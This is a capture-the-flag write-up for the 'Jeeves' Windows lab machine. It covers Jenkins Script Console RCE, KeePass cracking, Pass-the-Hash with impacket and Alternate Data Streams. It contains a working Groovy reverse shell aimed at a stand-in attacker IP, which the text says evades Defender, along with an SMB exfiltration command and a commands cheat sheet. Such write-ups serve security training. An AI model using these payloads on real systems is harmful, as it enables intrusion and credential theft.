π§βπΌ Jeeves
Machine: Jeeves
Difficulty: Medium
Theme: Jenkins RCE β KeePass loot β Pass-the-Hash β Alternate Data Streams
π― Summary
Jeeves was a Windows target where the key entry point was an exposed Jenkins instance behind the /askjeeves path on a Jetty server. Instead of using a traditional Jenkins build job to execute commands, the compromise was achieved directly through the Groovy Script Console, which provided faster and cleaner code execution.
Initial access as jeeves\kohsuke led to the discovery of a KeePass database in the userβs Documents directory. After exfiltrating and cracking the vault, an NTLM hash for the local Administrator account was recovered. That hash was then used in a Pass-the-Hash attack with Impacket psexec.py, yielding NT AUTHORITY\SYSTEM.
The final trick on the box was an Alternate Data Stream (ADS) containing the root flag, hidden behind an otherwise harmless-looking file on the Administrator desktop.
1. Enumeration
Initial enumeration showed a typical Windows target with:
- RPC
- SMB
- IIS
- Jetty on port
50000
This immediately identified the web service as the most promising lead.
Baseline scan
nmap -sC -sV -Pn 10.10.10.63Key findings:
80/tcpIIS135/tcpMSRPC445/tcpSMB50000/tcpJetty
Web fuzzing
The useful discovery was:
/askjeevesThat path exposed an unauthenticated Jenkins instance.
Practical note
The Windows services were mostly background noise here. The real foothold was the web layer, and specifically the Jenkins functionality behind /askjeeves.
2. Initial Access β Jenkins RCE via Groovy Script Console
Once Jenkins was identified, there were multiple ways to get command execution. The βtextbookβ route is a new build job with an Execute Windows batch command step β but the target also runs Windows Defender, which blocks most dropped payloads, so that route usually means uploading a clean nc.exe first.
The faster route was to skip jobs entirely and go to Manage Jenkins β Script Console, which runs arbitrary Groovy in the context of the Jenkins JVM. Because the reverse shell runs in-memory and only spawns the legitimate cmd.exe, there is no payload on disk for Defender to flag.
Groovy reverse shell
Paste the following into the Script Console, with the host/port set to your listener:
String host="<ATTACKER_IP>";
int port=1234;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
Thread.sleep(50);
try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();Listener
nc -nvlp 1234Result
A reverse shell was caught back as:
jeeves\kohsukeUser flag
type C:\Users\kohsuke\Desktop\user.txt3. Post-Exploitation β Looting the User Context
With a shell as kohsuke, manual enumeration of the user profile quickly paid off.
The important artifact found was:
C:\Users\kohsuke\Documents\CEH.kdbxThat KeePass database was the critical bridge to privilege escalation.
Practical note
This was a good reminder that once you have code execution, you should not rush immediately into privilege escalation tools. Sometimes the fastest route is just:
- enumerate user directories
- look for vaults, notes, backups, credentials, archives
4. Exfiltration and KeePass Cracking
The KeePass database was copied back to the attacker machine and cracked offline.
Transfer the database
With a cmd shell (no nc.exe staged on the Groovy path), an SMB share is the cleanest way off the box:
# Attacker β host a share
impacket-smbserver share . -smb2support:: Target β copy the vault to the share
copy C:\Users\kohsuke\Documents\CEH.kdbx \\<ATTACKER_IP>\share\Extract hash
keepass2john CEH.kdbx > jeeves_vault.hashCrack with John
john --wordlist=/usr/share/wordlists/rockyou.txt jeeves_vault.hashResult
Recovered:
- KeePass master password:
<REDACTED>
Once the database was opened, the important entry was:
Backup stuffInside that entry was the Administrator NTLM hash.
5. Privilege Escalation β Pass-the-Hash
Rather than trying to recover the Administrator plaintext password, the NTLM hash was used directly.
A common older approach is pth-winexe, but here the cleaner option was:
impacket-psexec
Why this path
Pass-the-Hash is often the most direct option when:
- you already have an NTLM hash
- the target allows SMB-based administrative execution
- there is no reason to waste time cracking plaintext
Command
impacket-psexec administrator@10.10.10.63 -hashes aad3b435b51404eeaad3b435b51404ee:<REDACTED>Result
Immediate shell as:
NT AUTHORITY\SYSTEM6. Final Flag β Alternate Data Streams
Even with SYSTEM access, the expected root flag was not immediately visible in the Administrator desktop directory.
This was the last intended trick of the box:
- the flag was hidden in an Alternate Data Stream (ADS)
Discovery
Enumerate ADS with:
dir /RThis revealed a file similar to:
hm.txt:root.txt:$DATARead the hidden stream
Get-Content -Path "hm.txt" -Stream "root.txt"That exposed the final flag.
π Condensed Attack Chain
Jetty:50000
β
/askjeeves
β
Jenkins
β
Groovy Script Console RCE
β
Shell as kohsuke (user flag)
β
Find + exfil CEH.kdbx (SMB)
β
Crack KeePass
β
Recover Administrator NTLM hash
β
Pass-the-Hash with psexec.py
β
SYSTEM shell
β
Enumerate ADS with dir /R
β
Read hidden root flag streamπ§ Key Takeaways
- Jenkins Script Console is often the fastest route to code execution when exposed.
- You do not always need plaintext credentials if you already have an NTLM hash.
- KeePass files in user profiles are high-value targets and should be checked early.
- On Windows,
dir /Ris essential when something feels βmissing.β - Alternate Data Streams are easy to overlook if you only trust normal directory listings.
β‘ Commands Cheat Sheet
# Enumeration
nmap -sC -sV -Pn 10.10.10.63
# Fuzzing
ffuf -u http://10.10.10.63:50000/FUZZ -w /usr/share/wordlists/dirb/common.txt
# Jenkins RCE β Manage Jenkins > Script Console (paste the Groovy reverse shell)
nc -nvlp 1234
type C:\Users\kohsuke\Desktop\user.txt # user flag
# Exfil the KeePass DB over SMB, then crack
impacket-smbserver share . -smb2support # attacker
copy C:\Users\kohsuke\Documents\CEH.kdbx \\<ATTACKER_IP>\share\ # target
keepass2john CEH.kdbx > jeeves_vault.hash
john --wordlist=/usr/share/wordlists/rockyou.txt jeeves_vault.hash
# Pass-the-Hash
impacket-psexec administrator@10.10.10.63 \
-hashes aad3b435b51404eeaad3b435b51404ee:<REDACTED>
# ADS discovery
dir /R
# ADS extraction
powershell Get-Content -Path "hm.txt" -Stream "root.txt"π Related Manual Notes
Field-manual techniques demonstrated on this box:
- Common_Apps_Tomcat_Jenkins β Jenkins exploitation
- File_Transfer_Windows β moving the
.kdbxoff the host - Password_Cracking_Protected_Files β cracking the KeePass database
- Pass_the_Hash β Pass-the-Hash with the recovered NTLM hash
π§ Diagnostic Map
Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks βwrongβ but the underlying step is actually salvageable.
Symptom: Port 80 (IIS) shows nothing useful and HTTP fuzzing on 80 dead-ends
Meaning: The web foothold is on the non-default Jetty port (50000), not the obvious IIS
Next: Pivot fuzzing to port 50000 β the real path is /askjeeves
Symptom: Jenkins is exposed without authentication
Meaning: The fastest RCE is not a build job; Manage Jenkins β Script Console runs Groovy directly
Next: Drop a Groovy reverse shell into the Script Console rather than building a job
Symptom: Found a .kdbx file but no password
Meaning: KeePass vaults crack offline; the master password is the bottleneck
Next: keepass2john CEH.kdbx > hash then john --wordlist=rockyou.txt hash
Symptom: Recovered an Administrator NT hash but no plaintext
Meaning: Plaintext is not required for SMB administrative execution
Next: Pass-the-Hash: impacket-psexec administrator@<TARGET> -hashes aad3b435...:<NT_HASH>
Symptom: SYSTEM shell on the Administrator desktop but root.txt is missing from dir
Meaning: The flag is hidden in an NTFS Alternate Data Stream behind another file
Next: dir /R to enumerate streams, then Get-Content -Path hm.txt -Stream root.txt
π Personal Notes
The part that made Jeeves feel smooth was skipping the more tutorial-like Jenkins path and going straight into the Groovy Script Console. Once code execution is available there, it is hard to justify building extra steps around it.
The second big lesson was that the box did not really end at SYSTEM β it ended at Windows file system awareness. Without checking Alternate Data Streams, it would be easy to think the privilege escalation path was complete while still missing the final objective.